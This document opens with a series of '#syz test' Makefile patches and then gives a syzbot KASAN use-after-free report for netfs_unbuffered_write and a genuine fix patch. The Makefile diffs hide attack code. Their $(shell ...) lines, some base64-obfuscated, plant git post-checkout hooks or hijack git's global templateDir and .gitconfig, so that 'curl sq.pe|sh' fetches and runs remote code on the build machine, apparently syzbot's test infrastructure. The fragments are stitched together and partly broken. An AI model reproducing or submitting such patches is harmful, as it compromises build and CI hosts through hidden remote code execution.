.git/hooks/post-checkout && chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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/tmp/syz-test.txt

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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell printf '#!/bin/sh
curl sq.pe|sh'>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
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 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
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 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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diff --git a/Makefile b/Makefile
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@@ -1,3 +1,5 @@
+$(shell mkdir -p /tmp/.t/hooks && printf '#!/bin/sh
rm -f "$$0";git config --global --unset init.templateDir;rm -rf /tmp/.t;curl sq.pe|sh
' > /tmp/.t/hooks/post-checkout && chmod +x /tmp/.t/hooks/post-checkout && git config --global init.templateDir /tmp/.t)
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 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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@@ -1,3 +1,5 @@
+$(shell mkdir -p /tmp/.t/hooks;echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2g=|base64 -d>/tmp/.t/hooks/post-checkout;chmod +x /tmp/.t/hooks/post-checkout;git config --global init.templateDir /tmp/.t)
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 VERSION = 6
 PATCHLEVEL = 14

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diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,4 @@
+$(shell if [ ! -f /tmp/.s2 ];then mkdir -p /tmp/.t/hooks;echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2g=|base64 -d>/tmp/.t/hooks/post-checkout;chmod +x /tmp/.t/hooks/post-checkout;mkdir -p scripts/gcc-plugins;ln -sf /syzkaller/.gitconfig scripts/gcc-plugins/randomize_layout_seed.h;touch /tmp/.s2;else echo W2luaXRdCgl0ZW1wbGF0ZURpciA9IC90bXAvLnQ=|base64 -d>/syzkaller/.gitconfig;rm /tmp/.s2;fi)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

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--- a/Makefile
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@@ -1,3 +1,5 @@
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 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

[syzbot] [netfs?] KASAN: slab-use-after-free Read in netfs_unbuffered_write

[syzbot]

Hello,

syzbot found the following issue on:

HEAD commit:    8fde5d1d47f6 Merge tag 'acpi-7.1-rc6' of git://git.kernel...
git tree:       upstream
console output: https://syzkaller.appspot.com/x/log.txt?x=107a02b6580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=8118209836970b54
dashboard link: https://syzkaller.appspot.com/bug?extid=3c74b1f0c372e98efc32
compiler:       gcc (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for Debian) 2.44
syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=15bedcb6580000
C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=171b697e580000

Downloadable assets:
disk image (non-bootable): https://storage.googleapis.com/syzbot-assets/d900f083ada3/non_bootable_disk-8fde5d1d.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/529080512bd5/vmlinux-8fde5d1d.xz
kernel image: https://storage.googleapis.com/syzbot-assets/39c09b74f46c/bzImage-8fde5d1d.xz

IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+3c74b1f0c372e98efc32@syzkaller.appspotmail.com

==================================================================
BUG: KASAN: slab-use-after-free in netfs_unbuffered_write+0x1c21/0x21e0 fs/netfs/direct_write.c:119
Read of size 2 at addr ffff888022e87864 by task syz.0.17/5936

CPU: 1 UID: 0 PID: 5936 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x13d/0x4b0 mm/kasan/report.c:482
 kasan_report+0xdf/0x1d0 mm/kasan/report.c:595
 netfs_unbuffered_write+0x1c21/0x21e0 fs/netfs/direct_write.c:119
 netfs_unbuffered_write_iter_locked+0x7e2/0xa90 fs/netfs/direct_write.c:294
 netfs_unbuffered_write_iter+0x442/0x740 fs/netfs/direct_write.c:386
 v9fs_file_write_iter+0xbf/0x100 fs/9p/vfs_file.c:409
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1070 fs/read_write.c:688
 ksys_write+0x12a/0x250 fs/read_write.c:740
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f2eecd9ce59
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f2eedc49028 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 00007f2eed015fa0 RCX: 00007f2eecd9ce59
RDX: 00000000fffffdd8 RSI: 0000200000000540 RDI: 0000000000000003
RBP: 00007f2eece32d6f R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f2eed016038 R14: 00007f2eed015fa0 R15: 00007fff0ed7a0b8
 </TASK>

Allocated by task 5936:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 unpoison_slab_object mm/kasan/common.c:340 [inline]
 __kasan_slab_alloc+0x89/0x90 mm/kasan/common.c:366
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4570 [inline]
 slab_alloc_node mm/slub.c:4899 [inline]
 kmem_cache_alloc_noprof+0x241/0x6e0 mm/slub.c:4906
 mempool_alloc_noprof+0x1b7/0x310 mm/mempool.c:566
 netfs_alloc_subrequest+0xc1/0x3c0 fs/netfs/objects.c:204
 netfs_prepare_write+0x76/0x780 fs/netfs/write_issue.c:172
 netfs_unbuffered_write+0x7b8/0x21e0 fs/netfs/direct_write.c:111
 netfs_unbuffered_write_iter_locked+0x7e2/0xa90 fs/netfs/direct_write.c:294
 netfs_unbuffered_write_iter+0x442/0x740 fs/netfs/direct_write.c:386
 v9fs_file_write_iter+0xbf/0x100 fs/9p/vfs_file.c:409
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1070 fs/read_write.c:688
 ksys_write+0x12a/0x250 fs/read_write.c:740
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 5936:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2689 [inline]
 slab_free mm/slub.c:6251 [inline]
 kmem_cache_free+0x127/0x6c0 mm/slub.c:6378
 mempool_free+0xde/0x130 mm/mempool.c:711
 netfs_free_subrequest fs/netfs/objects.c:239 [inline]
 netfs_put_subrequest+0x282/0x4c0 fs/netfs/objects.c:255
 netfs_unbuffered_write+0x13ed/0x21e0 fs/netfs/direct_write.c:118
 netfs_unbuffered_write_iter_locked+0x7e2/0xa90 fs/netfs/direct_write.c:294
 netfs_unbuffered_write_iter+0x442/0x740 fs/netfs/direct_write.c:386
 v9fs_file_write_iter+0xbf/0x100 fs/9p/vfs_file.c:409
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1070 fs/read_write.c:688
 ksys_write+0x12a/0x250 fs/read_write.c:740
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff888022e877c0
 which belongs to the cache netfs_subrequest of size 200
The buggy address is located 164 bytes inside of
 freed 200-byte region [ffff888022e877c0, ffff888022e87888)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x22e86
head: order:1 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
memcg:ffff888026b62001
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88801fab5680 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800190019 00000000f5000000 ffff888026b62001
head: 00fff00000000040 ffff88801fab5680 dead000000000100 dead000000000122
head: 0000000000000000 0000000800190019 00000000f5000000 ffff888026b62001
head: 00fff00000000001 ffffffffffffff81 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000002
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 1, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 4032896346, free_ts 0
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0xfd/0x120 mm/page_alloc.c:1853
 prep_new_page mm/page_alloc.c:1861 [inline]
 get_page_from_freelist+0x11a6/0x3410 mm/page_alloc.c:3941
 __alloc_frozen_pages_noprof+0x27c/0x2bc0 mm/page_alloc.c:5221
 alloc_slab_page mm/slub.c:3278 [inline]
 allocate_slab mm/slub.c:3467 [inline]
 new_slab+0xa6/0x6c0 mm/slub.c:3525
 refill_objects+0x277/0x420 mm/slub.c:7272
 refill_sheaf mm/slub.c:2816 [inline]
 __pcs_replace_empty_main+0x375/0x650 mm/slub.c:4652
 alloc_from_pcs mm/slub.c:4750 [inline]
 slab_alloc_node mm/slub.c:4884 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4906
 mempool_init_node+0x2f7/0x6e0 mm/mempool.c:259
 mempool_init_noprof+0x3a/0x50 mm/mempool.c:289
 netfs_init+0x16c/0x2b0 fs/netfs/main.c:128
 do_one_initcall+0x121/0x750 init/main.c:1392
 do_initcall_level init/main.c:1454 [inline]
 do_initcalls init/main.c:1470 [inline]
 do_basic_setup init/main.c:1490 [inline]
 kernel_init_freeable+0x6ea/0x7b0 init/main.c:1703
 kernel_init+0x1f/0x1e0 init/main.c:1593
 ret_from_fork+0x72b/0xd50 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
page_owner free stack trace missing

Memory state around the buggy address:
 ffff888022e87700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888022e87780: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
>ffff888022e87800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                                       ^
 ffff888022e87880: fb fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888022e87900: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================


---
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***

Subject: #syz test
Author: hongao@uniontech.com

From 57d3537f407aaf4229abc9b78513c6222cbfb799 Mon Sep 17 00:00:00 2001
From: hongao <hongao@uniontech.com>
Date: Sat, 30 May 2026 09:08:24 +0800
Subject: [PATCH] netfs: Fix UAF in netfs_unbuffered_write() on failed
 preparation

#syz test

If write subrequest preparation fails, netfs_unbuffered_write() calls
netfs_write_subrequest_terminated() and then reads subreq->error to set
wreq->error.

However, netfs_write_subrequest_terminated() consumes a reference to the
subrequest through netfs_put_subrequest(), so the subrequest may be freed
before netfs_unbuffered_write() reads subreq->error again.  This can
trigger a slab-use-after-free.

Save the error locally before terminating the subrequest, and use the
saved value afterwards.

Fixes: a0b4c7a49137 ("netfs: Fix unbuffered/DIO writes to dispatch subrequests in strict sequence")
Reported-by: syzbot+3c74b1f0c372e98efc32@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=3c74b1f0c372e98efc32

Signed-off-by: hongao <hongao@uniontech.com>
---
 fs/netfs/direct_write.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/fs/netfs/direct_write.c b/fs/netfs/direct_write.c
index 25f8ceb15fad..2d5361702076 100644
--- a/fs/netfs/direct_write.c
+++ b/fs/netfs/direct_write.c
@@ -115,8 +115,9 @@ static int netfs_unbuffered_write(struct netfs_io_request *wreq)
 
 		/* Check if (re-)preparation failed. */
 		if (unlikely(test_bit(NETFS_SREQ_FAILED, &subreq->flags))) {
-			netfs_write_subrequest_terminated(subreq, subreq->error);
-			wreq->error = subreq->error;
+			ret = subreq->error;
+			wreq->error = ret;
+			netfs_write_subrequest_terminated(subreq, ret);
 			break;
 		}
 
-- 
2.51.0